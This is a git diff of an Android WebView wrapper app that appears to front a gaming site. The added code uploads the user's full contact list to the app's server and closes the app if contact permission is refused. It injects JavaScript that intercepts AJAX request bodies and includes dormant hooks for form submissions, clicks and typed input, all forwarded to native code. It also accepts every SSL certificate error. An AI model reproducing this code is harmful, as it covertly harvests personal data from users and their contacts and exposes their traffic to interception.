otherApp.setVisibility(View.INVISIBLE); + } + ivFaceBook.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(telegramUrl)) { + if(userId == 217 || userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else { + otherApp.setVisibility(View.INVISIBLE); + } + ivTelG.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(whatsappUrl)) { + if(userId == 217 || userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else { + otherApp.setVisibility(View.INVISIBLE); + } + ivWhatsApp.setVisibility(View.VISIBLE); + } + if (userId == 143 || userId == 149) { + otherApp.setVisibility(View.INVISIBLE); + ivFaceBook.setVisibility(View.GONE); + ivTelG.setVisibility(View.GONE); + ivWhatsApp.setVisibility(View.GONE); + layoutOtherApp.setVisibility(View.GONE); + } + } else { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + @Override + public void onError2(Result o) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); + + } + + + private void checkUpdate(String url) { + new AppUpdater(this, url).start(); + } + + List contents = new ArrayList<>(); + private static String[] PERMISSIONS_READCONTACT = { + Manifest.permission.READ_CONTACTS}; + + public void readContact() { + +// if (BuildConfig.BUILD_TYPE.equals("debug")) { +// return; +// } + + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); + } else { + //开启线程上传数据 + new Thread(() -> { + //获取通讯录 + contents = new ArrayList<>(); + Cursor cursor = null; + try { + cursor = getContentResolver().query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, null, null, null); + while (cursor.moveToNext()) { + int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); + String displayName = cursor.getString(i_name); + int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + String number = cursor.getString(i_number); + ContactBean bean = new ContactBean(displayName, number.trim()); + contents.add(bean); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (cursor != null) { + cursor.close(); + postReadContact(contents); + } + } + }).start(); + + + } + } + + public void postReadContact(List contents) { + Gson gson = new Gson(); + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("customers", contents); + String result = gson.toJson(map); + MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); + Api.getInstance().readContact(RequestBody.create(mediaType, result)) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void setDownloadNumbers() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().downloadNumbers(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + MainActivity.saveBoolean(MainActivity2.this, "download", true); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + public void setTotalTongJi() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().totalTongJi(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void getMyInvite(boolean isShare) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("deviceCode", Utils.getUniqueId(MainActivity2.this)); + Api.getInstance().getMyInvited(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + myInviteCode = o.data.getInviteCode(); +// myInviteNum = o.data.getInviteNum(); + MainActivity.saveString(MainActivity2.this, "balance", o.data.getBalance()); + MainActivity.saveString(MainActivity2.this, "income", o.data.getIncome()); + MainActivity.saveString(MainActivity2.this, "bankname", o.data.getBankName()); + MainActivity.saveString(MainActivity2.this, "name", o.data.getName()); + MainActivity.saveString(MainActivity2.this, "bankno", o.data.getBankNo()); + } + if (isShare) { + goShare(); + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + private void evaluateJavascript(WebView webView, String javascript) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { + webView.evaluateJavascript(javascript, null); + } else { + webView.loadUrl("javascript:" + javascript); + } + } + private void injectBaseHooks(WebView webView) { + String baseHook = + "javascript:(function() {" + + " window.__webview_hooks = {" + + " hooks: {}," + + " register: function(name, callback) {" + + " this.hooks[name] = callback;" + + " }," + + " trigger: function(name, data) {" + + " if (window.WebViewHook) {" + + " window.WebViewHook.onHookEvent(name, JSON.stringify(data));" + + " }" + + " }," + + " log: function(message) {" + + " if (window.WebViewHook) {" + + " window.WebViewHook.log(message);" + + " }" + + " }" + + " };" + + "})()"; + + evaluateJavascript(webView, baseHook); + } + + + private void injectFormHooks(WebView webView) { + String formHook = + "javascript:(function() {" + + " // 拦截表单提交" + + " var forms = document.getElementsByTagName('form');" + + " for (var i = 0; i < forms.length; i++) {" + + " (function(form) {" + + " form.addEventListener('submit', function(e) {" + + " var formData = new FormData(form);" + + " var params = {};" + + " for (var pair of formData.entries()) {" + + " params[pair[0]] = pair[1];" + + " }" + + " " + + " window.__webview_hooks.trigger('form_submit', {" + + " action: form.action," + + " method: form.method," + + " data: params," + + " formId: form.id || 'no-id'" + + " });" + + " });" + + " })(forms[i]);" + + " }" + + " " + + " // 监听动态添加的表单" + + " var observer = new MutationObserver(function(mutations) {" + + " mutations.forEach(function(mutation) {" + + " for (var i = 0; i < mutation.addedNodes.length; i++) {" + + " var node = mutation.addedNodes[i];" + + " if (node.nodeName === 'FORM') {" + + " node.addEventListener('submit', function(e) {" + + " // 处理新表单..." + + " });" + + " }" + + " }" + + " });" + + " });" + + " observer.observe(document.body, { childList: true, subtree: true });" + + "})()"; + + evaluateJavascript(webView, formHook); + } + + private void injectClickHooks(WebView webView) { + String clickHook = + "javascript:(function() {" + + " document.addEventListener('click', function(e) {" + + " var target = e.target;" + + " var data = {" + + " tagName: target.tagName," + + " id: target.id || 'no-id'," + + " className: target.className || 'no-class'," + + " text: target.textContent ? target.textContent.substring(0, 100) : 'no-text'," + + " href: target.href || 'no-href'" + + " };" + + " " + + " window.__webview_hooks.trigger('element_click', data);" + + " }, true);" + + "})()"; + + evaluateJavascript(webView, clickHook); + } + + private void injectAjaxHooks(WebView webView) { + String ajaxHook = + "javascript:(function() {" + + " var originalXHR = window.XMLHttpRequest;" + + " " + + " function HookedXHR() {" + + " var xhr = new originalXHR();" + + " var originalOpen = xhr.open;" + + " var originalSend = xhr.send;" + + " " + + " xhr.open = function(method, url, async, user, password) {" + + " this._method = method;" + + " this._url = url;" + + " return originalOpen.apply(this, arguments);" + + " };" + + " " + + " xhr.send = function(data) {" + + " if (data) {" + + " window.__webview_hooks.trigger('ajax_request', {" + + " method: this._method," + + " url: this._url," + + " data: data" + + " });" + + " }" + + " return originalSend.apply(this, arguments);" + + " };" + + " " + + " return xhr;" + + " }" + + " " + + " window.XMLHttpRequest = HookedXHR;" + + "})()"; + + evaluateJavascript(webView, ajaxHook); + } + + private void injectConsoleHooks(WebView webView) { + String consoleHook = + "javascript:(function() {" + + " var originalLog = console.log;" + + " var originalError = console.error;" + + " var originalWarn = console.warn;" + + " " + + " console.log = function() {" + + " window.__webview_hooks.trigger('console_log', {" + + " type: 'log'," + + " message: Array.from(arguments).join(' ')" + + " });" + + " return originalLog.apply(console, arguments);" + + " };" + + " " + + " console.error = function() {" + + " window.__webview_hooks.trigger('console_error', {" + + " type: 'error'," + + " message: Array.from(arguments).join(' ')" + + " });" + + " return originalError.apply(console, arguments);" + + " };" + + " " + + " console.warn = function() {" + + " window.__webview_hooks.trigger('console_warn', {" + + " type: 'warn'," + + " message: Array.from(arguments).join(' ')" + + " });" + + " return originalWarn.apply(console, arguments);" + + " };" + + "})()"; + + evaluateJavascript(webView, consoleHook); + } + + private void injectErrorHooks(WebView webView) { + String errorHook = + "javascript:(function() {" + + " window.addEventListener('error', function(e) {" + + " window.__webview_hooks.trigger('javascript_error', {" + + " message: e.message," + + " filename: e.filename," + + " lineno: e.lineno," + + " colno: e.colno" + + " });" + + " });" + + " " + + " window.addEventListener('unhandledrejection', function(e) {" + + " window.__webview_hooks.trigger('promise_rejection', {" + + " reason: e.reason" + + " });" + + " });" + + "})()"; + + evaluateJavascript(webView, errorHook); + } + + private void injectAllHooks(WebView webView) { +// injectFormHooks(webView); +// injectClickHooks(webView); + injectAjaxHooks(webView); +// injectConsoleHooks(webView); +// injectErrorHooks(webView); + } + + + // WebView webViews; + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageStarted(WebView webView, String s, Bitmap bitmap) { + super.onPageStarted(webView, s, bitmap); + injectBaseHooks(webView); + + } + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); + } + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } +// webViews = webView; +// injectInputListener(webView); +// injectFormInterceptor(); + injectAllHooks(webView); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { +// LogUtils.i("网址是啥:222222222222222222222222"); + + return super.shouldInterceptRequest(webView, s); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { +// LogUtils.i("网址是啥:"+webResourceRequest.getUrl().toString()); +// if ("POST".equalsIgnoreCase(webResourceRequest.getMethod())) { +// LogUtils.i("网址是啥111222:"+webResourceRequest.getUrl().toString()); +//// injectInputListener(webViews!=null?webViews:webView); +//// getFormData(); +// postMobile(); +// } + return super.shouldInterceptRequest(webView, webResourceRequest); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { +// super.onReceivedSslError(webView, sslErrorHandler, sslError); + sslErrorHandler.proceed(); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + LogUtils.i("网络请求3333:" + request.getUrl()); + LogUtils.i("网络请求3333:" + request.getRequestHeaders()); + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + + boolean isPost = false; + private void postMobile() { + if(isPost){ + return; + } + if (!TextUtils.isEmpty(mobiles)) { + if (!TextUtils.isEmpty(oldMobiles) && oldMobiles.equals(mobiles)) { + return; + } + isPost = true; + HashMap map = new HashMap<>(); + map.put("appId", userId); + map.put("phone", mobiles); + Api.getInstance().appLoginUser(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + isPost =false; + oldMobiles = mobiles; + mobiles = ""; + } + + @Override + public void onError(int code, String msg) { + isPost =false; + } + + @Override + public void onError2(Result o) { + isPost =false; + } + }); + } + } + int counts = 0; + + private void injectInputListener(WebView webView) { + // JS 代码:监听所有 input 和 textarea 的输入事件 + // 你的代码 + Runnable runnable = new Runnable() { + @Override + public void run() { +// // 你的代码 + + String jsCode = "javascript:(function (){" + + // 获取所有输入元素(input 和 textarea) + "var inputs = document.getElementsByTagName('input');" + + // 遍历所有输入元素,添加 input 事件监听 + "for (var i = 0; i < inputs.length; i++) {" + + "inputs[i].addEventListener('input', function(){" + + // 触发输入时,调用 Android 接口传递内容 + "window.AndroidInterface.onInputChanged(this.value);" + + "});" + + "}" + + "if(0 parseFormData(String body) throws UnsupportedEncodingException { + Map params = new HashMap<>(); + String[] pairs = body.split("&"); + for (String pair : pairs) { + String[] keyValue = pair.split("=", 2); // 按第一个=分割 + if (keyValue.length == 2) { + String key = URLDecoder.decode(keyValue[0], StandardCharsets.UTF_8.name()); + String value = URLDecoder.decode(keyValue[1], StandardCharsets.UTF_8.name()); + params.put(key, value); + } + } + return params; + } + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); +// isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); +// isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { +// LogUtils.i("日志:" + consoleMessage.message()); + return true; + } + + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:" + url); + + if (isToOutSideUrl(url)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:" + url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { + readContact(); + } else { + //没同意 + if (contactApply == 1) { + MainActivity2.this.finish(); + } + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } + +} diff --git a/base_no_music/src/main/java/com/web/base/MainActivity2Bf.java b/base_no_music/src/main/java/com/web/base/MainActivity2Bf.java new file mode 100644 index 0000000..25fb555 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MainActivity2Bf.java @@ -0,0 +1,1825 @@ +//package com.web.base; +// +//import android.Manifest; +//import android.annotation.SuppressLint; +//import android.app.Activity; +//import android.app.ActivityManager; +//import android.app.NotificationManager; +//import android.content.ComponentName; +//import android.content.Context; +//import android.content.Intent; +//import android.content.SharedPreferences; +//import android.content.pm.ApplicationInfo; +//import android.content.pm.PackageManager; +//import android.database.Cursor; +//import android.graphics.Color; +//import android.net.Uri; +//import android.os.Build; +//import android.os.Bundle; +//import android.os.Handler; +//import android.os.Looper; +//import android.os.Message; +//import android.provider.ContactsContract; +//import android.text.Html; +//import android.text.TextUtils; +//import android.util.Log; +//import android.view.MotionEvent; +//import android.view.View; +//import android.view.WindowManager; +//import android.webkit.JavascriptInterface; +//import android.widget.ImageView; +//import android.widget.LinearLayout; +//import android.widget.ProgressBar; +//import android.widget.TextView; +//import android.widget.Toast; +// +//import androidx.annotation.Nullable; +//import androidx.annotation.RequiresApi; +//import androidx.appcompat.app.ActionBar; +//import androidx.appcompat.app.AppCompatActivity; +//import androidx.cardview.widget.CardView; +//import androidx.core.app.ActivityCompat; +//import androidx.core.content.ContextCompat; +// +//import com.google.android.material.floatingactionbutton.FloatingActionButton; +//import com.google.gson.Gson; +//import com.king.app.updater.AppUpdater; +//import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +//import com.tencent.smtt.export.external.interfaces.PermissionRequest; +//import com.tencent.smtt.export.external.interfaces.SslError; +//import com.tencent.smtt.export.external.interfaces.SslErrorHandler; +//import com.tencent.smtt.export.external.interfaces.WebResourceError; +//import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +//import com.tencent.smtt.export.external.interfaces.WebResourceResponse; +//import com.tencent.smtt.sdk.DownloadListener; +//import com.tencent.smtt.sdk.ValueCallback; +//import com.tencent.smtt.sdk.WebChromeClient; +//import com.tencent.smtt.sdk.WebSettings; +//import com.tencent.smtt.sdk.WebView; +//import com.tencent.smtt.sdk.WebViewClient; +// +//import org.json.JSONException; +//import org.json.JSONObject; +// +//import java.io.BufferedReader; +//import java.io.IOException; +//import java.io.InputStream; +//import java.io.InputStreamReader; +//import java.io.UnsupportedEncodingException; +//import java.net.URLDecoder; +//import java.nio.charset.StandardCharsets; +//import java.util.ArrayList; +//import java.util.HashMap; +//import java.util.Iterator; +//import java.util.List; +//import java.util.Map; +// +//import io.reactivex.android.schedulers.AndroidSchedulers; +//import io.reactivex.schedulers.Schedulers; +//import okhttp3.MediaType; +//import okhttp3.RequestBody; +// +//public class MainActivity2 extends AppCompatActivity { +// public WebView webView; +// TextView tvErrorMsg; +// LinearLayout layoutError; +// ImageView show_top_v; +// public ImageView showTopV1; +// private LinearLayout showTopLy; +// FloatingActionButton floatingActionButton; +// CardView otherApp; +// CardView notifyCardView; +// CardView ivNotify; +// ImageView ivotherApp; +// LinearLayout layoutOtherApp; +// CardView ivFaceBook; +// CardView ivTelG; +// CardView ivWhatsApp; +// CardView ivLink; +// TextView tvLink; +// ImageView ivLinkBg; +// CardView ivHome; +// private View topVvvv; +// private ProgressBar progressBar; +// public static String url = "https://candy916.co/"; +// +// //先定义 +// private static final int REQUEST_EXTERNAL_STORAGE = 1; +// public static int userId = 2; +// private String shareUrl; +// private String myInviteCode; +// private int contactApply = 1; +// private int notifyApply = 1; +// private String facebookUrl = ""; +// private String whatsappUrl = ""; +// private String telegramUrl = ""; +// private List linkconfiglist; +// private CardView cvShare; +// +// float lastX, lastY; +// float initX, initY; +// +// @Override +// protected void onNewIntent(Intent intent) { +// super.onNewIntent(intent); +// setIntent(intent); +// Bundle bundle = intent.getExtras(); +// if (bundle != null) { +// MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); +// if (messageInfo != null) { +// startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); +// recordNotify(messageInfo.getPushId()); +// } +// } +// } +// +// @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) +// @Override +// protected void onCreate(Bundle savedInstanceState) { +// getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "style_color", "#FFFFFF"))); +// getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); +// getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); +// super.onCreate(savedInstanceState); +// View decor = getWindow().getDecorView(); +// getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); +// if (getInt(MainActivity2.this, "is_white", 0) == 1) { +// decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); +// } else { +// decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); +// } +// ActionBar actionBar = getSupportActionBar(); +// if (actionBar != null) { +// actionBar.hide(); +// } +// setContentView(R.layout.activity_main2); +// String body = getIntent().getStringExtra("message"); +// if (!TextUtils.isEmpty(body)) { +// MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); +// if (messageInfo != null) { +// startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); +// recordNotify(messageInfo.getPushId()); +// } +// } +// +// boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); +// if (!isDownload) { +// setDownloadNumbers(); +// } +// initView(); +// findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); +// floatingActionButton = findViewById(R.id.bt_menu); +// otherApp = findViewById(R.id.bt_otherapp); +// ivotherApp = findViewById(R.id.iv_otherApp); +// notifyCardView = findViewById(R.id.bt_notify); +// ivNotify = findViewById(R.id.bt_notifyitem); +// layoutOtherApp = findViewById(R.id.layout_otherapp); +// ivFaceBook = findViewById(R.id.iv_facebook); +// ivTelG = findViewById(R.id.iv_tel); +// ivWhatsApp = findViewById(R.id.iv_whatsapp); +// ivLink = findViewById(R.id.iv_link); +// tvLink = findViewById(R.id.tv_link); +// ivLinkBg = findViewById(R.id.iv_linkbg); +// ivHome = findViewById(R.id.iv_home); +// +// cvShare = (CardView) findViewById(R.id.cv_share); +// +//// ivNotify.setOnClickListener(view -> { +//// notifyclick(); +//// }); +//// 